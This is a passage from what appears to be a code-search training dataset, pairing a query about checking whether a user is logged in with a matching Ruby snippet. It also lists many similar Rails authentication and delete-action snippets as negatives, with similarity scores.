"def destroy\n @node = Node.scopied.find(params[:id])\n @node.kill\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reclamacao = Reclamacao.find(params[:id])\n @reclamacao.destroy\n\n respond_to do |format|\n format.html { redirect_to(reclamacaos_url) }\n format.xml { head :ok }\n end\n end",
"def deleteEntityFax( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/fax\",params)\n end",
"def delete_isbn_association(org_unit_id, isbn) # DELETE\n query_string = \"/d2l/api/le/#{$le_ver}/#{org_unit_id}/content/isbn/#{isbn}\"\n _delete(query_string)\nend",
"def destroy\n @lab_rack = LabRack.find(params[:id])\n @lab_rack.destroy\n\n respond_to do |format|\n format.html { redirect_to(lab_racks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @xml_sample = XmlSample.find(params[:id])\n @xml_sample.destroy\n\n respond_to do |format|\n format.html { redirect_to xml_samples_url }\n format.xml do\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n return render xml: xml\n end\n end\n end",
"def destroy\n @serialize = Serialize.find(params[:id])\n @serialize.destroy\n\n respond_to do |format|\n format.html { redirect_to(serializes_url) }\n format.xml { head :ok }\n end\n end",
"def delete(cloud_file)\n\n payload = {\n root: \"auto\",\n path: cloud_file.path\n }\n\n connexion = Dropbox.start(:delete, access_token)\n response = connexion.post do |req|\n req.url \"fileops/delete\"\n req.body = payload\n end\n response = format_response(response)\n Filetree.new('dropbox').update([response[:path], nil])\n\n end",
"def destroy\n @backup = Backup.find(params[:id])\n @backup.destroy\n\n respond_to do |format|\n format.html { redirect_to(backups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @aauto = Aauto.find(params[:id])\n @aauto.destroy\n\n respond_to do |format|\n format.html { redirect_to(aautos_url) }\n format.xml { head :ok }\n end\n end"
] |
[
"0.672824",
"0.6293559",
"0.62897664",
"0.628875",
"0.62621874",
"0.6260807",
"0.6259034",
"0.623915",
"0.62059665",
"0.61969817",
"0.61398375",
"0.6123344",
"0.6105961",
"0.60728836",
"0.60541666",
"0.6037351",
"0.60188174",
"0.6011678",
"0.5981924",
"0.5977341",
"0.596784",
"0.5967208",
"0.5953406",
"0.5953406",
"0.59489435",
"0.5945103",
"0.5942002",
"0.5942002",
"0.59335124",
"0.59331006",
"0.5906949",
"0.58921033",
"0.58921033",
"0.58921033",
"0.58921033",
"0.58902484",
"0.5889948",
"0.5887352",
"0.58865136",
"0.5886003",
"0.5882304",
"0.5881673",
"0.58807635",
"0.5880163",
"0.5877187",
"0.58733356",
"0.587309",
"0.58713615",
"0.58634025",
"0.58619297",
"0.58603007",
"0.58603007",
"0.58560133",
"0.5850142",
"0.58458495",
"0.58451676",
"0.584382",
"0.5843638",
"0.58424056",
"0.5837302",
"0.58358353",
"0.58353",
"0.5834635",
"0.5833973",
"0.5830258",
"0.5823197",
"0.58223987",
"0.58216226",
"0.5813823",
"0.58122635",
"0.58098453",
"0.5796667",
"0.57918775",
"0.57909155",
"0.5789983",
"0.5789361",
"0.57878864",
"0.57870775",
"0.5777245",
"0.57709956",
"0.5768549",
"0.5764046",
"0.57629496",
"0.57608515",
"0.5757484",
"0.5756729",
"0.5756098",
"0.5751019",
"0.57473797",
"0.57454485",
"0.5745426",
"0.5745402",
"0.57424635",
"0.573948",
"0.57391727",
"0.57381576",
"0.5738104",
"0.57330126",
"0.5733004",
"0.57321435"
] |
0.693732
|
0
|
Returns true or false if the user is logged in.
|
def logged_in?
!!current_user
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def user_is_logged_in()\n user = get_user()\n if user != nil\n true\n else\n false\n end\n end",
"def logged_in?\n user._logged_in?\n end",
"def logged_in?\n if session[:username]\n if session[:logged_in?]\n return true\n end\n else\n return false\n end\n end",
"def logged_in?\n if !session[:user_id].nil?\n return true\n else\n return false\n end\n end",
"def logged_in?\n (current_user ? login_access : false).is_a?(User)\n end",
"def logged_in?\n if current_user\n true\n else\n false\n end\n end",
"def logged_in?\n !!logged_user\n end",
"def logged_in?\n current_user.present?\n end",
"def logged_in?\n current_user != :false\n end",
"def logged_in?\n current_user != :false\n end",
"def logged_in?\n return false unless session[:user_id]\n\n User.find_by_id(session[:user_id]).present?\n end",
"def user_is_logged_in?\n !!session[:user_id]\n end",
"def loggedin?\n @session.nil? ? false : (return true)\n end",
"def logged_in?\n return true if self.current_user\n return false\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n\t\t\tcurrent_user.is_a? User\n\t\tend",
"def logged_in?\n @logged_in == true\n end",
"def logged_in?\n @logged_in == true\n end",
"def logged_in?\r\n current_user != :false\r\n end",
"def logged_in?()\n if session[:user_id]\n return true\n else \n return false\n end\n end",
"def logged_in?\n if current_user\n true\n else \n false\n end\n end",
"def logged_in?\n\t\tif not current_user.present? then redirect_to \"/unauthorized\" and return false\n\t\tend\n\t\treturn true\n\tend",
"def logged_in?\n return false unless @auth_header\n true\n end",
"def logged_in?\n current_user != :false \n end",
"def logged_in?\n @logged_in\n end",
"def logged_in?\n @logged_in\n end",
"def logged_in?\n @logged_in\n end",
"def logged_in?\n @logged_in\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n\n if session[:current_user_id]\n return true\n end\n \n #Default return false\n false\n \n end",
"def logged_in?\n\t\tcurrent_user.present?\n\tend",
"def logged_in?\n current_user ? true : false;\n end",
"def is_logged_in_user?\n session[:user_authenticated]\n end",
"def logged_in?\n return session['current_user']\n end",
"def logged_in?\n !!logged_in_user \n end",
"def logged_in?\n\t\t !!current_user\n end",
"def is_logged_in?\n return true if current_user || current_admin\n end",
"def is_logged_in?\n\t\t!session[:user_id].nil?\n\tend",
"def logged_in?\r\n\t\t!current_user.nil?\r\n\tend",
"def logged_in?\n @logged_in ? true : false\n end",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n current_user.present? # True neu user login\n end",
"def logged_in?\n current_user\n end",
"def logged_in?\n current_user\n end",
"def logged_in?\n #boolean return\t\n \tcurrent_user != nil\n end",
"def logged_in?\n current_user != nil ? true : false\n end",
"def user_is_logged_in?\n !!session[:user_id]\n end",
"def is_logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !!current_ma_user\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n !session[:user_id].nil?\n end",
"def logged_in?\n ## to query if the logged in, call the current_user with !! preceeded, this turns it to true or false\n # TRUE or FALSE\n !!current_user\n end",
"def logged_in?\n current_user_id.to_i > 0\n end",
"def logged_in?\n !current_user.nil?\n end",
"def logged_in?\n !current_user.nil?\n end",
"def logged_in?\n # !! turns this into a boolean, so we DON'T get nil\n !!session[:user_id]\n end",
"def logged_in?\n \t\t!current_user.nil?\n \tend",
"def logged_in?\n\t\t!current_user.nil?\n \tend",
"def logged_in?\n\t\t#if currentuser.nil returns true then logedin is false\n\t\t!current_user.nil?\n\tend",
"def logged_in?\n !!session[:user_id]\n # !!@current_user\n end",
"def is_user_logged_in?\n\tlogged_in = false\n\t if logged_in\n then true\n else\n redirect_to root_path\n end\n end",
"def logged_in?\n current_user.is_a? User\n end",
"def logged_in?\n !!session[:logged_in]\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !!current_user\n end",
"def logged_in?\n !current_user.blank?\n end",
"def logged_in?\n return session[:user_id].present?\n end",
"def user_logged_in?\n current_user.present?\n end"
] |
[
"0.8973362",
"0.8775968",
"0.8709158",
"0.8675256",
"0.8641435",
"0.8633322",
"0.86329544",
"0.8615168",
"0.86115885",
"0.86115885",
"0.86064714",
"0.8586828",
"0.858408",
"0.8578593",
"0.8565856",
"0.8565856",
"0.85308635",
"0.8526328",
"0.8526328",
"0.85232234",
"0.851801",
"0.8506504",
"0.85032964",
"0.8503188",
"0.8495474",
"0.847579",
"0.847579",
"0.847579",
"0.847579",
"0.84752476",
"0.84752476",
"0.84752476",
"0.84752476",
"0.84752476",
"0.84752476",
"0.84752476",
"0.84752476",
"0.84752476",
"0.8472619",
"0.8465027",
"0.84630007",
"0.8458446",
"0.84508294",
"0.8435577",
"0.84337825",
"0.8428179",
"0.8424114",
"0.8422321",
"0.8421938",
"0.8407338",
"0.84067625",
"0.84059817",
"0.84059817",
"0.84059817",
"0.84059817",
"0.84059817",
"0.84059817",
"0.84059817",
"0.84059817",
"0.84059817",
"0.84059817",
"0.84059817",
"0.84059817",
"0.84059817",
"0.84059817",
"0.84059817",
"0.84059817",
"0.84059817",
"0.84059817",
"0.84059817",
"0.84020096",
"0.8397121",
"0.8397121",
"0.83946115",
"0.83927",
"0.8391748",
"0.8390438",
"0.838675",
"0.83795357",
"0.83795357",
"0.83795357",
"0.83795357",
"0.8379096",
"0.8371072",
"0.83710283",
"0.83710283",
"0.836797",
"0.83674544",
"0.83611155",
"0.8353876",
"0.8352517",
"0.8351219",
"0.83482736",
"0.8347065",
"0.83427554",
"0.83427554",
"0.83427554",
"0.83427554",
"0.834271",
"0.8337922",
"0.8336324"
] |
0.0
|
-1
|
Accesses the current user from the session. Future calls avoid the database because nil is not equal to false.
|
def current_user
@current_user ||= (login_from_mindpin_app_auth) unless @current_user == false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def user\n return nil if !session[:user]\n @user ||= fetch_user(session[:user])\n end",
"def user\n return nil if !session[:user]\n @user ||= fetch_user(session[:user])\n end",
"def user\n return nil if !session[:user]\n @user ||= fetch_user(session[:user])\n end",
"def current_user\n # if current_user is et use it otherwise ask the data store\n @current_user ||= User.find_by(id: session[:user_id])\n end",
"def current_user\n # If current_user is set, otherwise ask the data store.\n @current_user ||= User.find_by(id: session[:user_id])\n end",
"def current_user\n\t\t @current_user ||= (login_from_session) unless @current_user == false\n end",
"def current_user\n\t\t@current_user ||= (login_from_session) unless @current_user == false\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id] \n #this code will return nil rather than throwing an exception. \n #'||=' memoization technique is a minor performance optimization.\n #if @current_user exist, do not run the code after '||=' else do so, ensuring we will hit database once. \n end",
"def get_current_user\n unless session[:user_id]\n @current_user = nil\n return\n end\n @current_user = User.first(:conditions => {:id => session[:user_id] })\n end",
"def current_user\n return nil unless session[:user_id]\n User.get(session[:user_id])\nend",
"def current_user\n load_session\n @current_user\n end",
"def current_user\n if session[:user_id]\n @current_user = User.find(session[:user_id])\n @current_user\n else\n false\n end\n end",
"def current_user\n @current_user ||=User.find(session[:user_id]) if session[:user_id] # memoization\n end",
"def current_user\n return @current_user if @current_user.present?\n\n session_user_id = session[:user_id]\n @current_user = if session_user_id.present?\n User.find_by(id: session_user_id) || AdminUser.find_by(id: session_user_id)\n end\n end",
"def current_user\n @current_user ||= User.find_by(id: session[:user_id]) # guarda o resultado em @current_user pra nao ter que \n # consultar o banco de dados toda vez que quiser achar o usuario atual\n end",
"def current_user\n #@current_user ||= Rails.cache.fetch(\"users/#{session[:user_id]}\", :force => (params[:force_session_reload] != nil)) { User.find_by_id(session[:user_id]) }\n @current_user ||= User.find_by_id(session[:user_id])\n end",
"def current_user\n @current_user ||= login_from_session unless @current_user == false\n end",
"def fetch_user\n @current_user = User.find_by(:id => session[:user_id]) if session[:user_id]\n\n session[:user_id] = nil unless @current_user.present?\n end",
"def current_user\n return unless session[:user_id]\n @current_user = User.find_by_id(session[:user_id])\n end",
"def current_user\n #||= means that the operation on the right will be called only the first time, so after the variable has\n # a value it returns current_user without calling the operation on the right.\n #if session[:user_id] was created in the session controller CREATE action, we find the user by its id and\n # add it to the @current_user variable.\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n @_current_user ||= session[:user_id] && User.find(session[:user_id])\n end",
"def get_current_user\n unless session[:user_id].blank?\n @current_user = User.find(session[:user_id])\n else\n @current_user = nil\n end\n end",
"def current_user\n @user = User.find(@session.user_id)\n end",
"def current_user\r\n @_current_user ||= session[:user_id] && User.find(session[:user_id])\r\n end",
"def current_user\n #memoization\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n rescue ActiveRecord::RecordNotFound\n session.delete(:user_id)\n @current_user = nil\n end",
"def current_user # Check the current user\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n # @current_user = @current_user || User.find(session[:user_id]) if session[:user_id] # the || and @current_user are usd to store the instance of the current user and avoid repeated calls to the db, except when @current user is falls. \n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n end",
"def get_user_from_session\n authorize()\n @user = @current_user\n end",
"def current_user\n if session[:user_id]\n @current_user = User.find(session[:user_id])\n @current_user\n else\n false\n end\n end",
"def current_user\n # retrieve from database on every request instead of\n # storing it as global variable when current_user=\n # is called to prevent user information becoming stale.\n @current_user ||= (session[:user_name] && User.find_by(user_name: session[:user_name])) || real_user\n end",
"def fetch_user\n\n # Check if user_id in the session is the id of a real user in our db. If it is, we will get the user object in @current_user; if not, we will get nil\n if session[:user_id].present?\n @current_user = User.find_by id: session[:user_id]\n end\n\n # If we did get nil from the above query, delete the session because the user_id is stale (invalid)\n if @current_user.nil?\n session[:user_id] = nil # unless @current_user.present?\n end\n\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id] # ||= means if not, here means if there is no current user logged in, do the following\n end",
"def get_current_user\n if @current_user\n return @current_user\n else\n @current_user = User.find_by(id: session[:user_id])\n end\n end",
"def current_user\n if session[:user_id]\n @current_user = User.find(session[:user_id])\n else\n false\n end\n end",
"def current_user\n if session[:user_id]\n @current_user = Account.find(session[:user_id])\n @current_user\n else\n false\n end\n end",
"def current_user_session\n \treturn @current_user_session if defined? @current_user_session\n \t@current_user_session = without_access_control { UserSession.find }\n end",
"def current_user\n return @current_user_cached unless @current_user_cached.blank?\n\n @current_user_cached = \n if !session[:rbac_user_id].blank?\n User.find(session[:rbac_user_id])\n else\n nil\n end\n return @current_user_cached\n rescue\n # puts \"def current_user RESCUE #{session[:rbac_user_id]}\"\n remove_current_user\n redirect_to login_path\n end",
"def current_user\n\t\t# checks to see if session exists, if so, loads user\n\t\t# and saves into @user instance variable\n\t\t@current_user ||= User.find(session[:user_id]) if session[:user_id]\n\tend",
"def current_user\n if session[:user_id] && !User.where(id: session[:user_id]).empty?\n @current_user = User.find(session[:user_id])\n else\n log_out\n end\n end",
"def current_user\n return nil unless session[:user_id] \n @current_user ||= User.find(session[:user_id])\n end",
"def current_user #used in many methods to pull in the current user stored in sessions. \n \tUser.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n return @current_user if @current_user\n @current_user = UserFactory.resource.find(session[Casual.session_key])\n \n # If user is not active, unset session\n if UserFactory.user_not_active(@current_user)\n @current_user = nil \n session[Casual.session_key] = nil\n end\n \n @current_user\n end",
"def current_user\n if session[:user_id] # if there is a session id, the current user is the one whose session id is the same as the user id \n @current_user ||= User.find_by(id: session[:user_id])\n end\n end",
"def current_user\n @_current_user ||= User.find(session[:user_id])\n end",
"def current_user\n\t\tif session[:user_id]\n\t\t @current_user = User.find(session[:user_id])\n\t\telse\n\t\t @current_user = nil\n\t\tend\n\t\t @current_user\n end",
"def current_user\n # retrieve from database on every request instead of \n # storing it as global variable when current_user= \n # is called to prevent user information becoming stale.\n @current_user ||= (session[:uid] && User.find_by_id(session[:uid])) || nil\n end",
"def current_user\n @_current_user ||= session[:current_user_id] &&\n User.find_by(id: session[:current_user_id])\n end",
"def current_user\n @_current_user ||= session[:current_user_id] &&\n User.find_by(id: session[:current_user_id])\n end",
"def current_user\n @user = User.find_by(id: session[:user_id])\n end",
"def current_user\n return unless session[:user_id]\n User.find(session[:user_id])\n end",
"def current_user\n if @current_user.nil?\n @current_user = User.find_by(id: session[:user_id])\n else\n @current_user\n end\n end",
"def current_user\n @user ||= User.find_by(id: session[:user_id])\n end",
"def current_user\n if session[:user_id]\n @user = User.find(session[:user_id])\n end\n end",
"def current_user\n if session[:user_id]\n @user = User.find(session[:user_id])\n end\n end",
"def current_user\n\t@current_user = User.find(session[:user_id]) if session[:user_id]\nend",
"def current_user\n if session[:user_id]\n user = User.find(session[:user_id])\n else\n nil\n end\n end",
"def current_user\n @_current ||= User.find_by(id: session[:user_id])\n end",
"def current_user\n @current_user = User.find_by_id(session[:user_id]) # Use find_by_id to get nil instead of an error if user doesn't exist\n end",
"def current_user\n @_current_user ||= session[:current_user_id] &&\n User.find(session[:current_user_id])\n end",
"def current_user\n if session[:user_id].present?\n @current_user = User.find_by(uid: session[:user_id])\n # session.clear if @current_user.nil?\n return @current_user\n end\n end",
"def current_user\n @current_user || = User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n # retrieve from database on every request instead of\n # storing it as global variable when current_user=\n # is called to prevent user information becoming stale.\n @current_user ||= (session[:uid] && User.find_by_id(session[:uid])) || nil\n end",
"def current_user\n # set instance variable to either nil (if session[:user_id] is nil)\n # or to the user with that id\n @current_user ||= session[:user_id] && User.find_by_id(session[:user_id])\n end",
"def current_user\n user = User.find_by(id: session[:user_id])\n end",
"def current_user\n # User.find would throw an error if we cannot find the user\n User.find_by({ id: session[:user_id] })\n end",
"def current_user\t\n\treturn unless session[:user_id]\n\t@current_user ||= User.find_by_id(session[:user_id])\n end",
"def current_user\n\tif session[:user_id].present?\n\t\tUser.find(session[:user_id])\t\n\tend\nend",
"def current_user\n return @current_user if defined?(@current_user)\n @current_user = current_user_session && current_user_session.user\n end",
"def current_user\n return @current_user if defined?(@current_user)\n @current_user = User.find_by_id(session[:user_id])\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n #return current user or set to this if there isnt a current user\n end",
"def current_user\n\t\tif !@current_user\n\t\t\t@current_user = User.find_by(id: session[:user_id])\n\t\tend\n\t\t@current_user\n\tend",
"def current_user\n @current_user ||= User.find_by(uid: session[:user_uid])\n end",
"def current_user\n @current_user ||= User.find_by(uid: session[:user_uid])\n end",
"def current_user( user = :get )\n if( user == :get )\n session[:user] ||= guest_account\n else\n session[:user] = user\n end\n end",
"def current_user\n if valid_session?\n User.find(session[:user_id])\n end\n end",
"def current_user\n if logged_in?\n session[:user] = nil\n return temporary_logged_in_user ? temporary_logged_in_user :\n set_temporary_logged_in_user(cached_user)\n else\n session[:user] ||= create_new_user # if there wasn't one\n session[:user] = create_new_user unless session[:user].respond_to?(:stale?)\n session[:user] = create_new_user if session[:user].stale?\n return session[:user]\n end\n end",
"def current_user\n begin\n unless @current_user.nil?\n return @current_user\n else\n if session[:user_id]\n return @current_user = User.find(session[:user_id])\n else\n return nil\n end\n end\n rescue\n return nil\n end\nend",
"def current_user\n return @current_user if @current_user.present?\n\n #Check user exist?\n if session[:user_id].present?\n #Get session user\n @current_user = User.find(session[:user_id])\n else\n @current_user = User.generate\n session[:user_id] = @current_user.id\n @current_user\n end\n\n end",
"def current_user\n# if there is a current user rtn that if not then rtn nil\n@current_user ||= User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n @current_user ||= user_session && user_session.user\n end",
"def current_user\n @_current_user ||= session[:current_user_id] &&\n User.find_by_id(session[:current_user_id])\n end",
"def current_user\n @_current_user ||= session[:current_user_id] &&\n User.find_by_id(session[:current_user_id])\n end",
"def current_user\n @_current_user ||= session[:current_user_id] &&\n User.find_by_id(session[:current_user_id])\n end",
"def current_user\n @current_user = User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user\n session[:user_id]\n User.find_by(id: session[:user_id])\n # @current_user ||= User.find_by(id: session[:user_id])\n end",
"def current_user\n if @current_user.nil?\n @current_user = User.find(session[:user_id]) if session[:user_id]\n end\n end",
"def current_user\n\t\tif session[:user_id].present?\n\t\t\tUser.find(session[:user_id])\n\t\tend\n\tend",
"def current_user\n @user = User.find(session[:user_id])\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n # ||= is used for memoization of @current_user variable\n end",
"def current_user\n @user ||= User.find_by(id: session[:user_id]) if session[:user_id]\n end",
"def current_user\n return unless session[:user_id]\n @current_user ||= User.first(:id => session[:user_id])\n end",
"def current_user\n\tsession[:user_id] ? User.find(session[:user_id]) : nil\nend",
"def current_user\n\tsession[:user_id] ? User.find(session[:user_id]) : nil\nend",
"def current_user\n User.get_user(session[:user_id]) if session[:user_id]\n end",
"def current_user\n return @current_user if defined?(@current_user)\n @current_user = current_user_session && current_user_session.record\n end",
"def current_user\n if session[:user_id]\n @current_user ||= User.find(session[:user_id]) \n else \n @current_user = nil\n end \n return @current_user\n end",
"def current_user\n @current_user||= User.find(session[:user_id]) if session[:user_id]\n\n #here User.find(session[:user_id]) this will fetch the user based on the active session's user_id \n #as the above line will hit the database numerous time. We don't want that so to restrict it we created a local variable to store the user once find\n #|| this pipeline symbol is for checking \nend",
"def current_user\n if @current_user.nil?\n if remember_token = session[:remember_token]\n @current_user = User.find_by_remember_token(remember_token)\n # run_after_signin if @current_user\n end\n\n @current_user ||= false\n end\n \n @current_user || nil\n end",
"def current_user\n return unless session[:user_id]\n @current_user ||= User.find(session[:user_id])\n end",
"def current_user\n return unless session[:user_id]\n @current_user ||= User.find(session[:user_id])\n end",
"def current_user\n return @current_user if defined?(@current_user)\n @current_user = current_user_session && current_user_session.user\n end"
] |
[
"0.7964959",
"0.7964959",
"0.7964959",
"0.7927239",
"0.7927096",
"0.79119253",
"0.7894414",
"0.78897446",
"0.78864443",
"0.7876071",
"0.7872462",
"0.7864673",
"0.7859413",
"0.78526485",
"0.7850535",
"0.78418994",
"0.78408915",
"0.78336805",
"0.7831726",
"0.7827619",
"0.78204954",
"0.78182834",
"0.7811316",
"0.7810189",
"0.7809338",
"0.7809253",
"0.7801101",
"0.77971816",
"0.779569",
"0.77930695",
"0.77862114",
"0.7781703",
"0.77806604",
"0.7765114",
"0.77632904",
"0.77557236",
"0.7755335",
"0.7754707",
"0.77528965",
"0.77524257",
"0.77509147",
"0.7749542",
"0.774847",
"0.7748261",
"0.7747317",
"0.7745968",
"0.7744587",
"0.7744587",
"0.7741463",
"0.77405035",
"0.7735675",
"0.77342683",
"0.77339685",
"0.77339685",
"0.7733515",
"0.7732398",
"0.7731452",
"0.77304095",
"0.7729339",
"0.7727984",
"0.7723224",
"0.77200675",
"0.7717429",
"0.77162695",
"0.7715442",
"0.7715299",
"0.77115077",
"0.770945",
"0.7708242",
"0.77078366",
"0.7704811",
"0.77023923",
"0.77023923",
"0.77009904",
"0.7700651",
"0.769736",
"0.7697113",
"0.76947546",
"0.76947284",
"0.7694358",
"0.76906484",
"0.76906484",
"0.76906484",
"0.76906073",
"0.7688574",
"0.76869833",
"0.76861936",
"0.76852417",
"0.7684191",
"0.76838773",
"0.7683251",
"0.7681914",
"0.7681914",
"0.76818347",
"0.768013",
"0.76801056",
"0.767579",
"0.7675619",
"0.7675607",
"0.7675607",
"0.7674755"
] |
0.0
|
-1
|
Check if the user is authorized Override this method in your controllers if you want to restrict access to only a few actions or if you want to check if the user has the correct rights. Example: only allow nonbobs def authorized? current_user.login != "bob" end
|
def authorized?
logged_in?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def authorized?\n\n return false unless current_user\n\n %w{ show index }.include?(action_name) || current_user.is_admin?\n end",
"def authorized?\n @authorized ||= current_user.present? # TODO: Check for authorization\n end",
"def authorized\n\t\tif current_user\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"def user_authorized?(user)\n user == current_user || is_admin?\n end",
"def authorized?\n\n current_user && current_user.is_admin?\n end",
"def authorized?\n\n if session[:current_user] != nil\n true\n else\n redirect '/not_authorized'\n end\n\n end",
"def authorized?\n current_user.login == \"Admin\"\n end",
"def authorized?\n current_user.logged_in?\n end",
"def authorized?\n logged_in? && (admin? || member_actions.include?(action_name) || allow_member?)\n end",
"def authorized?\n %w(new create plans canceled thanks).include?(self.action_name) || \n ((self.action_name == 'dashboard') && current_user) ||\n admin?\n end",
"def authorized?\n %w(new create plans canceled thanks).include?(self.action_name) || \n ((self.action_name == 'dashboard') && current_user) ||\n admin?\n end",
"def authorized?(user)\n true\n end",
"def authorized?(user)\n current_user == user\nend",
"def authorized?\n !current_user.nil? || current_user.is_a?(Administrator)\n end",
"def authorized?\n logged_in?\n end",
"def authorized?\n logged_in?\n end",
"def authorized?\n true\n end",
"def authorized?\n !!request.env['REMOTE_USER']\n end",
"def authorized?\n logged_in?\n end",
"def authorized?\n render nothing: true, status: :forbidden if !current_account\n end",
"def authorized?\n if logged_in? || posing_as_logged_out?\n super_user || current_user.admin?\n end\n end",
"def authorize\n if !current_user.has_role? :admin\n render plain:\"No access for you!\"\n end\n end",
"def authorized? #(action = action_name, resource = nil)\n\n return false unless current_user\n\n current_user.is_admin?\n end",
"def authorized?\n logged_in?\n end",
"def authorized?(user, action)\n\t\ttrue\n\tend",
"def authorized?\n logged_in? && current_user.login == \"ej0c\"\n end",
"def authorized?(**args)\n true\n end",
"def authorized?(user, request, params)\n true\n end",
"def check_authorization\n if current_user && current_user.admin_role.present?\n return true\n end\n render nothing: true, status: :unauthorized\n false\n end",
"def authorize?(user)\n user && user.admin?\n end",
"def authorized?(action = action_name, resource = nil)\n if logged_in? and permissions(action_name, resource)\n true\n else\n false\n end\n end",
"def authorized?\n # TODO(samstern): Check for expired token.\n !(session[:user_id].nil?)\n end",
"def authorized?\n true\n end",
"def authorized?\nlogged_in?\nend",
"def authorized?(logged_in, username, controller_name, action_name, id)\n path = \"#{controller_name}/#{action_name}\"\n path = \"#{path}/#{id}\" if id\n if logged_in or [\"login\", \"logout\", \"check\"].include?(action_name)\n RAILS_DEFAULT_LOGGER.info \"Access granted to #{path}\"\n return true\n else\n RAILS_DEFAULT_LOGGER.info \"Access DENIED to #{path}\"\n return false\n end\n end",
"def authorize\n if !current_user.has_role? :admin\n render text:\"No Access For You!!!\"\n end\n end",
"def authorized?(action = action_name, resource = nil)\n logged_in?\n end",
"def authorized?\n !!@req.env['REMOTE_USER']\n end",
"def authorized?\n\t\t\t@authenticated\n\t\tend",
"def authorized?\n\t\tif session[:authorization]\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"def check_authorization\n unless @user and @user.role.name == 'admin'\n flash[:notice] = \"Not authorized!\"\n redirect_to root_path\n end\n end",
"def authorize\n if !session[:user_id]\n redirect_to root_path\n end\n if session[:user_id]\n if User.find_by(id: session[:user_id]).access != \"admin\"\n redirect_to root_path\n end\n end\n end",
"def authorized?(user_id)\n logged_in_user_id == user_id\n end",
"def check_authorization \n user = current_user\n unless session[\"permission_\" + action_name + \"_\" + controller_name] && user\n unless logged_in? and user.roles.detect { |role|\n role.permissions.detect { |permission|\n permission.action.to_s.include? action_name and permission.controller == self.class.controller_path\n }\n } \n flash[:warning] = \"You are not authorized to view the requested page.\"\n request.env[\"HTTP_REFERER\"] ? (redirect_to :back) : (redirect_to :action => \"index\", :controller => \"site\")\n\n return false\n end\n session[\"permission_\" + action_name + \"_\" + controller_name] = true\n end\n end",
"def check_is_login_required\n authorized_denied unless logged_in?\n end",
"def authorized?(action = action_name, resource = nil)\n case action\n when \"index\", \"show\"\n logged_in_via_account_api_key? or logged_in?\n else\n logged_in?\n end\n end",
"def authorize\n redirect_to('/login') unless @current_user\n end",
"def is_authorized?\n @authorized\n end",
"def is_authorized?\n @authorized\n end",
"def authorize\r\n # check if action is allowed on public projects\r\n if @project.is_public? and Permission.allowed_to_public \"%s/%s\" % [ @params[:controller], @params[:action] ]\r\n return true\r\n end \r\n # if action is not public, force login\r\n return unless require_login \r\n # admin is always authorized\r\n return true if self.logged_in_user.admin?\r\n # if not admin, check membership permission \r\n @user_membership ||= Member.find(:first, :conditions => [\"user_id=? and project_id=?\", self.logged_in_user.id, @project.id]) \r\n if @user_membership and Permission.allowed_to_role( \"%s/%s\" % [ @params[:controller], @params[:action] ], @user_membership.role_id ) \r\n return true\t\t\r\n end\t\t\r\n render :nothing => true, :status => 403\r\n false\r\n end",
"def authorized?\n !auth.nil?\n end",
